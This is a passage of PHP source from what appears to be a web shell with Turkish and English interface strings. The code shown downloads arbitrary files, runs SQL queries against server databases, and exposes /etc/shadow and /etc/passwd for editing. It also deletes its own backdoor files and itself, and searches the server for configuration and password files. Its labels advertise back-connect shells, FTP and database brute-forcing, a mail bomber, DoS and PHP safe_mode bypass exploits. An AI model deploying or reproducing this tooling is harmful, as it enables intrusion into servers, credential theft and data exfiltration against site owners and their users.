 } function addFile($data,$name,$time = 0) { $name = str_replace('\\','/',$name);
 $dtime = dechex($this->unix2DosTime($time));
 $hexdtime = '\x'.$dtime[6] .$dtime[7] .'\x'.$dtime[4] .$dtime[5] .'\x'.$dtime[2] .$dtime[3] .'\x'.$dtime[0] .$dtime[1];
 eval('$hexdtime = "'.$hexdtime .'";
');
 $fr = "\x50\x4b\x03\x04";
 $fr .= "\x14\x00";
 $fr .= "\x00\x00";
 $fr .= "\x08\x00";
 $fr .= $hexdtime;
 $unc_len = strlen($data);
 $crc = crc32($data);
 $zdata = gzcompress($data);
 $zdata = substr(substr($zdata,0,strlen($zdata) -4),2);
 $c_len = strlen($zdata);
 $fr .= pack('V',$crc);
 $fr .= pack('V',$c_len);
 $fr .= pack('V',$unc_len);
 $fr .= pack('v',strlen($name));
 $fr .= pack('v',0);
 $fr .= $name;
 $fr .= $zdata;
 $this ->datasec[] = $fr;
 $cdrec = "\x50\x4b\x01\x02";
 $cdrec .= "\x00\x00";
 $cdrec .= "\x14\x00";
 $cdrec .= "\x00\x00";
 $cdrec .= "\x08\x00";
 $cdrec .= $hexdtime;
 $cdrec .= pack('V',$crc);
 $cdrec .= pack('V',$c_len);
 $cdrec .= pack('V',$unc_len);
 $cdrec .= pack('v',strlen($name) );
 $cdrec .= pack('v',0 );
 $cdrec .= pack('v',0 );
 $cdrec .= pack('v',0 );
 $cdrec .= pack('v',0 );
 $cdrec .= pack('V',32 );
 $cdrec .= pack('V',$this ->old_offset );
 $this ->old_offset += strlen($fr);
 $cdrec .= $name;
 $this ->ctrl_dir[] = $cdrec;
 } function file() { $data = implode('',$this ->datasec);
 $ctrldir = implode('',$this ->ctrl_dir);
 return $data . $ctrldir . $this ->eof_ctrl_dir . pack('v',sizeof($this ->ctrl_dir)) . pack('v',sizeof($this ->ctrl_dir)) . pack('V',strlen($ctrldir)) . pack('V',strlen($data)) . "\x00\x00";
 } } function compress(&$filename,&$filedump,$compress) { global $content_encoding;
 global $mime_type;
 if ($compress == 'bzip'&&@function_exists('bzcompress')) { $filename .= '.bz2';
 $mime_type = 'application/x-bzip2';
 $filedump = bzcompress($filedump);
 } else if ($compress == 'gzip'&&@function_exists('gzencode')) { $filename .= '.gz';
 $content_encoding = 'x-gzip';
 $mime_type = 'application/x-gzip';
 $filedump = gzencode($filedump);
 } else if ($compress == 'zip'&&@function_exists('gzcompress')) { $filename .= '.zip';
 $mime_type = 'application/zip';
 $zipfile = new zipfile();
 $zipfile ->addFile($filedump,substr($filename,0,-4));
 $filedump = $zipfile ->file();
 } else { $mime_type = 'application/octet-stream';
 } } function moreread($temp){ global $lang,$language;
 $str='';
 if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){ $ffile = @fopen($temp,"r");
 while(!@feof($ffile)){$str .= @fgets($ffile);
} fclose($ffile);
 }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){ $ffile = @fopen($temp,"r");
 $str = @fread($ffile,@filesize($temp));
 @fclose($ffile);
 }elseif(@function_exists('file')){ $ffiles = @file ($temp);
 foreach ($ffiles as $ffile) {$str .= $ffile;
} }elseif(@function_exists('file_get_contents')){ $str = @file_get_contents($temp);
 }elseif(@function_exists('readfile')){ $str = @readfile($temp);
 }else{echo $lang[$language.'_text56'];
} return $str;
 } function readzlib($filename,$temp=''){ global $lang,$language;
 $str='';
 if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");
};
 if(@copy("compress.zlib://".$filename,$temp)) { $str = moreread($temp);
 }else echo $lang[$language.'_text119'];
 @unlink($temp);
 return $str;
 } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n";
 $headers .= "MIME-Version: 1.0\r\n";
 $headers .= "Content-Type: ".$attach['type'];
 $headers .= ";
 name=\"".$attach['name']."\"\r\n";
 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
 if(mail($to,$subj,"",$headers)) {return 1;
} return 0;
 } class my_sql { var $host = 'localhost';
 var $port = '';
 var $user = '';
 var $pass = '';
 var $base = '';
 var $db = '';
 var $connection;
 var $res;
 var $error;
 var $rows;
 var $columns;
 var $num_rows;
 var $num_fields;
 var $dump;
 function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) {$this->port = '3306';
} if(!@function_exists('mysql_connect')) return 0;
 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
 if(is_resource($this->connection)) return 1;
 break;
 case 'MSSQL': if(empty($this->port)) {$this->port = '1433';
} if(!@function_exists('mssql_connect')) return 0;
 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
 if($this->connection) return 1;
 break;
 case 'PostgreSQL': if(empty($this->port)) {$this->port = '5432';
} $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
 if(!@function_exists('pg_connect')) return 0;
 $this->connection = @pg_connect($str);
 if(is_resource($this->connection)) return 1;
 break;
 case 'Oracle': if(!@function_exists('ocilogon')) return 0;
 $this->connection = @ocilogon($this->user,$this->pass,$this->base);
 if(is_resource($this->connection)) return 1;
 break;
 } return 0;
 } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1;
 break;
 case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1;
 break;
 case 'PostgreSQL': return 1;
 break;
 case 'Oracle': return 1;
 break;
 } return 0;
 } function query($query) { $this->res=$this->error='';
 switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection);
 return 0;
 } else if(is_resource($this->res)) {return 1;
} return 2;
 break;
 case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error';
 return 0;
 } else if(@mssql_num_rows($this->res) >0) {return 1;
} return 2;
 break;
 case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection);
 return 0;
 } else if(@pg_num_rows($this->res) >0) {return 1;
} return 2;
 break;
 case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error';
 } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2;
 return 1;
 } $error = @ocierror();
 $this->error=$error['message'];
 } break;
 } return 0;
 } function get_result() { $this->rows=array();
 $this->columns=array();
 $this->num_rows=$this->num_fields=0;
 switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res);
 $this->num_fields=@mysql_num_fields($this->res);
 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
 @mysql_free_result($this->res);
 if($this->num_rows){$this->columns = @array_keys($this->rows[0]);
return 1;
} break;
 case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res);
 $this->num_fields=@mssql_num_fields($this->res);
 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
 @mssql_free_result($this->res);
 if($this->num_rows){$this->columns = @array_keys($this->rows[0]);
return 1;
};
 break;
 case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res);
 $this->num_fields=@pg_num_fields($this->res);
 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
 @pg_free_result($this->res);
 if($this->num_rows){$this->columns = @array_keys($this->rows[0]);
return 1;
} break;
 case 'Oracle': $this->num_fields=@ocinumcols($this->res);
 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
 @ocifreestatement($this->res);
 if($this->num_rows){$this->columns = @array_keys($this->rows[0]);
return 1;
} break;
 } return 0;
 } function dump($table) { if(empty($table)) return 0;
 $this->dump=array();
 $this->dump[0] = '##';
 $this->dump[1] = '## --------------------------------------- ';
 $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
 $this->dump[3] = '## Database: '.$this->base;
 $this->dump[4] = '##    Table: '.$table;
 $this->dump[5] = '## --------------------------------------- ';
 switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump';
 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
 if(!$this->get_result()) return 0;
 $this->dump[] = $this->rows[0]['Create Table'];
 $this->dump[] = '## --------------------------------------- ';
 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
 if(!$this->get_result()) return 0;
 for($i=0;
$i<$this->num_rows;
$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);
} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `",$this->columns).'`) VALUES (\''.@implode("', '",$this->rows[$i]).'\');
';
 } break;
 case 'MSSQL': $this->dump[0] = '## MSSQL dump';
 if($this->query('SELECT * FROM '.$table)!=1) return 0;
 if(!$this->get_result()) return 0;
 for($i=0;
$i<$this->num_rows;
$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);
} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');
';
 } break;
 case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump';
 if($this->query('SELECT * FROM '.$table)!=1) return 0;
 if(!$this->get_result()) return 0;
 for($i=0;
$i<$this->num_rows;
$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);
} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');
';
 } break;
 case 'Oracle': $this->dump[0] = '## ORACLE dump';
 $this->dump[] = '## under construction';
 break;
 default: return 0;
 break;
 } return 1;
 } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection);
 break;
 case 'MSSQL': @mssql_close($this->connection);
 break;
 case 'PostgreSQL': @pg_close($this->connection);
 break;
 case 'Oracle': @oci_close($this->connection);
 break;
 } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res);
 break;
 case 'MSSQL': return @mssql_affected_rows($this->res);
 break;
 case 'PostgreSQL': return @pg_affected_rows($this->res);
 break;
 case 'Oracle': return @ocirowcount($this->res);
 break;
 default: return 0;
 break;
 } } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="download_file"&&!empty($_POST['d_name'])) { if($file=@fopen($_POST['d_name'],"r")){$filedump = @fread($file,@filesize($_POST['d_name']));
@fclose($file);
} else if ($file=readzlib($_POST['d_name'])) {$filedump = $file;
}else {err(1,$_POST['d_name']);
$_POST['cmd']="";
} if(isset($_POST['cmd'])) { @ob_clean();
 $filename = @basename($_POST['d_name']);
 $content_encoding=$mime_type='';
 compress($filename,$filedump,$_POST['compress']);
 if (!empty($content_encoding)) {header('Content-Encoding: '.$content_encoding);
} header("Content-type: ".$mime_type);
 header("Content-disposition: attachment;
 filename=\"".$filename."\";
");
 echo $filedump;
 exit();
 } } if(isset($_GET['phpinfo'])) {echo @phpinfo();
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
} if (!empty($_POST['cmd']) &&$_POST['cmd']=="db_query") { echo $head;
 $sql = new my_sql();
 $sql->db = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];
 $sql->base = $_POST['mysql_db'];
 $querys = @explode(';
',$_POST['db_query']);
 echo '<body bgcolor=#000000>';
 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
 else { if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
 else { foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
 switch($sql->query($query)) { case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
 break;
 case '1': if($sql->get_result()) { echo "<table width=100%>";
 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
 $keys = @implode("&nbsp;
</b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;
",$sql->columns);
 echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;
".$keys."&nbsp;
</b></font></td></tr>";
 for($i=0;
$i<$sql->num_rows;
$i++) { foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
 $values = @implode("&nbsp;
</font></td><td><font face=Verdana size=-2>&nbsp;
",$sql->rows[$i]);
 echo '<tr><td><font face=Verdana size=-2>&nbsp;
'.$values.'&nbsp;
</font></td></tr>';
 } echo "</table>";
 } break;
 case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
 break;
 } } } } } echo "<br><form name=form method=POST>";
 echo in('hidden','db',0,$_POST['db']);
 echo in('hidden','db_server',0,$_POST['db_server']);
 echo in('hidden','db_port',0,$_POST['db_port']);
 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
 echo in('hidden','cmd',0,'db_query');
 echo "<div align=center>";
 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
\nSELECT * FROM user;
"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
 echo "</form>";
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
 } if(isset($_GET['delete'])) { @unlink(__FILE__);
 } if(isset($_GET['tmp'])) { @unlink("/tmp/bdpl");
 @unlink("/tmp/back");
 @unlink("/tmp/bd");
 @unlink("/tmp/bd.c");
 @unlink("/tmp/dp");
 @unlink("/tmp/dpc");
 @unlink("/tmp/dpc.c");
 @unlink("/tmp/prxpl");
 @unlink("/tmp/grep.txt");
 } if(isset($_GET['phpini'])) { echo $head;
 function U_value($value) { if ($value == '') return '<i>no value</i>';
 if (@is_bool($value)) return $value ?'TRUE': 'FALSE';
 if ($value === null) return 'NULL';
 if (@is_object($value)) $value = (array) $value;
 if (@is_array($value)) { @ob_start();
 print_r($value);
 $value = @ob_get_contents();
 @ob_end_clean();
 } return U_wordwrap((string) $value);
 } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str),100,'<wbr />',true);
 return @preg_replace('!(&[^;
]*)<wbr />([^;
]*;
)!','$1$2<wbr />',$str);
 } if (@function_exists('ini_get_all')) { $r = '';
 echo '<table width=100%>','<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
 foreach (@ini_get_all() as $key=>$value) { $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
 } echo $r;
 echo '</table>';
 } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
 die();
 } if(isset($_GET['cpu'])) { echo $head;
 echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
 $cpuf = @file("cpuinfo");
 if($cpuf) { $c = @sizeof($cpuf);
 for($i=0;
$i<$c;
$i++) { $info = @explode(":",$cpuf[$i]);
 if($info[1]==""){$info[1]="---";
} $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
 } echo $r;
 } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
 } echo '</table>';
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
 die();
 } if(isset($_GET['mem'])) { echo $head;
 echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
 $memf = @file("meminfo");
 if($memf) { $c = sizeof($memf);
 for($i=0;
$i<$c;
$i++) { $info = explode(":",$memf[$i]);
 if($info[1]==""){$info[1]="---";
} $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
 } echo $r;
 } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
 } echo '</table>';
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">green</a> ]</b></font></div>";
 die();
 } if(isset($_GET['dmesg(8)'])) {$_POST['cmd'] = 'dmesg(8)';
} if(isset($_GET['free'])) {$_POST['cmd'] = 'free';
} if(isset($_GET['vmstat'])) {$_POST['cmd'] = 'vmstat';
} if(isset($_GET['lspci'])) {$_POST['cmd'] = 'lspci';
} if(isset($_GET['lsdev'])) {$_POST['cmd'] = 'lsdev';
} if(isset($_GET['procinfo'])) {$_POST['cmd']='cat /proc/cpuinfo';
} if(isset($_GET['version'])) {$_POST['cmd']='cat /proc/version';
} if(isset($_GET['interrupts'])) {$_POST['cmd']='cat /proc/interrupts';
} if(isset($_GET['realise1'])) {$_POST['cmd'] = 'cat /etc/*realise';
} if(isset($_GET['service'])) {$_POST['cmd'] = 'service --status-all';
} if(isset($_GET['ifconfig'])) {$_POST['cmd'] = 'ifconfig';
} if(isset($_GET['w'])) {$_POST['cmd'] = 'w';
} if(isset($_GET['who'])) {$_POST['cmd'] = 'who';
} if(isset($_GET['uptime'])) {$_POST['cmd'] = 'uptime';
} if(isset($_GET['last'])) {$_POST['cmd'] = 'last -n 10';
} if(isset($_GET['psaux'])) {$_POST['cmd'] = 'ps -aux';
} if(isset($_GET['netstat'])) {$_POST['cmd'] = 'netstat -a';
} if(isset($_GET['lsattr'])) {$_POST['cmd'] = 'lsattr -va';
} if(isset($_GET['syslog'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/syslog.conf';
} if(isset($_GET['fstab'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/fstab';
} if(isset($_GET['fdisk'])) {$_POST['cmd'] = 'fdisk -l';
} if(isset($_GET['df'])) {$_POST['cmd'] = 'df -h';
} if(isset($_GET['realise2'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/issue.net';
} if(isset($_GET['hosts'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/hosts';
} if(isset($_GET['resolv'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/resolv.conf';
} if(isset($_GET['systeminfo'])) {$_POST['cmd'] = 'systeminfo';
} if(isset($_GET['shadow'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/shadow';
} if(isset($_GET['passwd'])) {$_POST['cmd']='edit_file';
$_POST['e_name'] = '/etc/passwd';
} $lang=array( 'tr_text1'=>'Komut Uygula', 'tr_text2'=>'Server uzerinde komut calistir ', 'tr_text3'=>'Komut istemi ', 'tr_text4'=>'Calisma Dizini ', 'tr_text5'=>'Servere Dosya Upload Et', 'tr_text6'=>'Yerel Dosya ', 'tr_text7'=>'Dizin Veya Dosya Bul ', 'tr_text8'=>'Sec', 'tr_butt1'=>'Uygula', 'tr_butt2'=>'Yukle', 'tr_text9'=>'Porta baglan /bin/bash', 'tr_text10'=>'Port', 'tr_text11'=>'Sifre Giris', 'tr_butt3'=>'Baglan', 'tr_text12'=>'Back-Connect', 'tr_text13'=>'IP', 'tr_text14'=>'Port', 'tr_butt4'=>'Baglan', 'tr_text15'=>'Uzaktan servere dosya yukle', 'tr_text16'=>'ile', 'tr_text17'=>'Uzak Dosya', 'tr_text18'=>'Yerel Dosya', 'tr_text19'=>'Exploits', 'tr_text20'=>'Kullan', 'tr_text21'=>'&nbsp;
Yeni ad', 'tr_text22'=>'datapipe', 'tr_text23'=>'Yerel Port', 'tr_text24'=>'Uzak Host', 'tr_text25'=>'Uzak Port', 'tr_text26'=>'Kullan', 'tr_butt5'=>'Iste', 'tr_text28'=>'Guvenlik Modunda Calis', 'tr_text29'=>'Giris Yok ', 'tr_butt6'=>'Degistir', 'tr_text30'=>'Cat file', 'tr_butt7'=>'Goster', 'tr_text31'=>'Dosya Bulunamadi', 'tr_text32'=>'PHP Kod Degerlendir ', 'tr_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)', 'tr_butt8'=>'Testet', 'tr_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.', 'tr_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.', 'tr_text36'=>'Database[VeriTabani]', 'tr_text37'=>'Kullanici', 'tr_text38'=>'Sifre', 'tr_text39'=>'Tablo', 'tr_text40'=>'Dump database table[DB Tablosu dok]', 'tr_butt9'=>'Dump', 'tr_text41'=>'DB dosyalarini kaydet.[Dump filed]', 'tr_text42'=>'Dosya Duzenle ', 'tr_text43'=>'Dosya Duzenlemek icin', 'tr_butt10'=>'Kaydet', 'tr_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor', 'tr_text45'=>'Dosya Kaydedildi', 'tr_text46'=>'PHP info Goster()', 'tr_text47'=>'Php.ini dosyasinda ki degiskenleri goster', 'tr_text48'=>'Temp dosylarini sil', 'tr_butt11'=>'Dosya Duzenle', 'tr_text49'=>'Server dan bu scripti sil', 'tr_text50'=>'CPU bilgisini incele', 'tr_text51'=>'Memory[hafiza] bilgisini incele]', 'tr_text52'=>'Metni Bul ', 'tr_text53'=>'Klasor Bul', 'tr_text54'=>'Dosyalarda ki Metni Bul', 'tr_butt12'=>'Bul', 'tr_text55'=>'Dosya Bul ', 'tr_text56'=>'Bulunmadi :( KeyCoder :)', 'tr_text57'=>'Olustur/Sil Dosya/Dizin ', 'tr_text58'=>'isim', 'tr_text59'=>'Dosya', 'tr_text60'=>'Dizin', 'tr_butt13'=>'Olustur/Sil', 'tr_text61'=>'Dosya Olustur', 'tr_text62'=>'Dizin Olustur', 'tr_text63'=>'Dosya Sil', 'tr_text64'=>'Dizin Sil', 'tr_text65'=>'Olustur', 'tr_text66'=>'Sil', 'tr_text67'=>'Chown/Chgrp/Chmod', 'tr_text68'=>'Uygula', 'tr_text69'=>'param1', 'tr_text70'=>'param2', 'tr_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'tr_text72'=>'Metin Bul', 'tr_text73'=>'Klasor Bul', 'tr_text74'=>'Dosya Bul', 'tr_text75'=>'* you can use regexp', 'tr_text76'=>'Metin Ara Dosyalarin icinde Arama Yoluyla', 'tr_text80'=>'Cesit', 'tr_text81'=>'Net', 'tr_text82'=>'Databases', 'tr_text83'=>'SQL Sorgusu Yap', 'tr_text84'=>'SQL Sorgusu', 'tr_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'tr_text86'=>'Download files from server', 'tr_butt14'=>'Download', 'tr_text87'=>'Download files from remote ftp-server', 'tr_text88'=>'server:port', 'tr_text89'=>'File on ftp', 'tr_text90'=>'Transfer mode', 'tr_text91'=>'Archivation', 'tr_text92'=>'without arch.', 'tr_text93'=>'FTP', 'tr_text94'=>'FTP-bruteforce', 'tr_text95'=>'Users list', 'tr_text96'=>'Can\'t get users list', 'tr_text97'=>'checked: ', 'tr_text98'=>'success: ', 'tr_text99'=>'/etc/passwd', 'tr_text100'=>'Send file to remote ftp server', 'tr_text101'=>'Use reverse (user -> resu)', 'tr_text102'=>'Mail', 'tr_text103'=>'Send email', 'tr_text104'=>'Send file to email', 'tr_text105'=>'To', 'tr_text106'=>'From', 'tr_text107'=>'Subj', 'tr_butt15'=>'Send', 'tr_text108'=>'Mail', 'tr_text109'=>'Hide', 'tr_text110'=>'Show', 'tr_text111'=>'SQL-Server : Port', 'tr_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)', 'tr_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)', 'tr_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)', 'tr_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)', 'tr_text116'=>'Copy from', 'tr_text117'=>'to', 'tr_text118'=>'File copied', 'tr_text119'=>'Cant copy file', 'tr_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST', 'tr_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST', 'tr_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)', 'tr_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)', 'tr_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)', 'tr_text125'=>'Data', 'tr_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)', 'tr_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)', 'tr_text128'=>'Modify/Access date(touch)', 'tr_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)', 'tr_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)', 'tr_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)', 'tr_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)', 'tr_text133'=>'', 'tr_text134'=>'Database-bruteforce', 'tr_text135'=>'Dictionary', 'tr_text136'=>'Creating evil symlink', 'tr_text137'=>'Useful', 'tr_text138'=>'Dangerous', 'tr_text139'=>'Mail Bomber', 'tr_text140'=>'DoS', 'tr_text141'=>'Danger! Web-daemon crash possible.', 'tr_err0'=>'Error! Can\'t write in file ', 'tr_err1'=>'Error! Can\'t read file ', 'tr_err2'=>'Error! Can\'t create ', 'tr_err3'=>'Error! Can\'t connect to ftp', 'tr_err4'=>'Error! Can\'t login on ftp server', 'tr_err5'=>'Error! Can\'t change dir on ftp', 'tr_err6'=>'Error! Can\'t sent mail', 'tr_err7'=>'Mail send', );
 $aliases=array( '----------------------------------locate'=>'', 'locate httpd.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate vhosts.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate proftpd.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate psybnc.conf >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate my.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate admin.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate cfg.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate conf.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate config.dat files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate config.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate config.inc files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate config.inc.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate config.default.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate .conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate .pwd files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate .sql files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;
